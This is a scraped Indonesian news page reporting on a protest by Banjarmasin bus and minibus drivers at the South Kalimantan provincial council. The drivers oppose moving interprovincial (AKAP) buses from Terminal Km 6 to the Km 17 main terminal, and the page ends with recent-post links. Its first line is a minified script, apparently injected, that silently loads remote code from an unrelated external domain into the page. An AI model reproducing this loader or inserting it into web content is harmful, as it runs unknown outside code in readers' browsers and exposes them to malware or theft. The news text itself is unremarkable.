(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Armada AKAP Ngotot Tak Mau Pindah ke Terminal Induk Km 17


BANJARMASIN, Ratusan sopir bus, Kojatas dan angkot kuning Terminal Km 6 Banjarmasin bergerombol menyerbu Dewan Perwakilan Rakyat Daerah (DPRD) Kalsel menuntut pembatalan pemindahan Angkutan Kota Antar Provinsi (AKAP) dari terminal Km 6 ke Terminal Induk Tipe A Km 17 Kabupaten Banjar, Rabu (1/11).

Massa bergerak dari Terminal Km 6 sekitar pukul 09:30 Wita menuju rumah wakil rakyat dengan dikawal kurang lebih 100 aparat Polresta Banjarmasin.

Massa disambut langsung oleh Sekretaris Komisi III DPRD Kalsel Riswandi dan langsung audiensi bersama Kementerian Perhubungan RI dan Dinas Perhubungan Provinsi Kalimantan Selatan.

Dalam audiensi tersebut Ketua DPD Organda Kota Banjarmasin Budi Suryadi mengungkapkan, alasan pihaknya menolak pemindahan AKAP ke Terminal Induk Tipe A Km 17 karena tidak adanya surat pemberitahuan yang masuk ke pengusaha armada AKAP di Terminal Km 6 Banjarmasin. Dan keputusan pemindahan tersebut juga dinilai diambil secara sepihak oleh pemerintah provinsi Kalsel saja.

“Domain urusan terminal ini bukan hanya milik pemerintah saja,” ujarnya.

Sekretaris Balai Transportasi Perhubungan Darat Wilayah 15 Kalimantan Selatan, Syamsudin menyebutkan, jumlah armada AKAP yang didapatkan dari Dinas Perhubungan Provinsi Kalsel berjumlah sekitar 29 buah.  Terminal Induk Km 17 merupakan terminal tipe A yang menghabiskan anggaran dari APBD dan APBN dengan tujuan untuk memberikan pelayanan yang baik ke penumpang, begitu juga dengan pemilik atau pengusaha angkutan, termasuk di dalamnya sopir dan awak angkutan.

Terkait keberataan yang dipaparkan oleh pihak Organda, ia menjelaskan, pihaknya sudah melakukan rapat koordinasi dengan DPD Organda Kalsel.

“DPD Organda Provinsi Kalsel sangat mendukung pengoperasian Terminal Induk Km 17,” ungkapnya.

Ia berharap DPD Organda Provinsi Kalimantan Selatan berkoordinasi dengan Pengurus Organda Kota Banjarmasin terkait kebijakan yang telah disepakati.

Selain itu, Syamsudin mengungkapkan pihak Kementerian Perhubungan RI merasa miris apabila pemindahan akan kembali mundur dan Kalsel akan jauh ketinggalan dengan provinsi lain di Indonesia. Akhirnya kedua belah pihak menyepakati, sebelum ada kesepakatan antara instansi terkait, terminal Km 6 tidak bisa dioperasionalkan. (robby)


Desy Arfianty

Recent Posts

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

6 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

7 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

8 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

8 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

9 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

9 jam ago

This website uses cookies.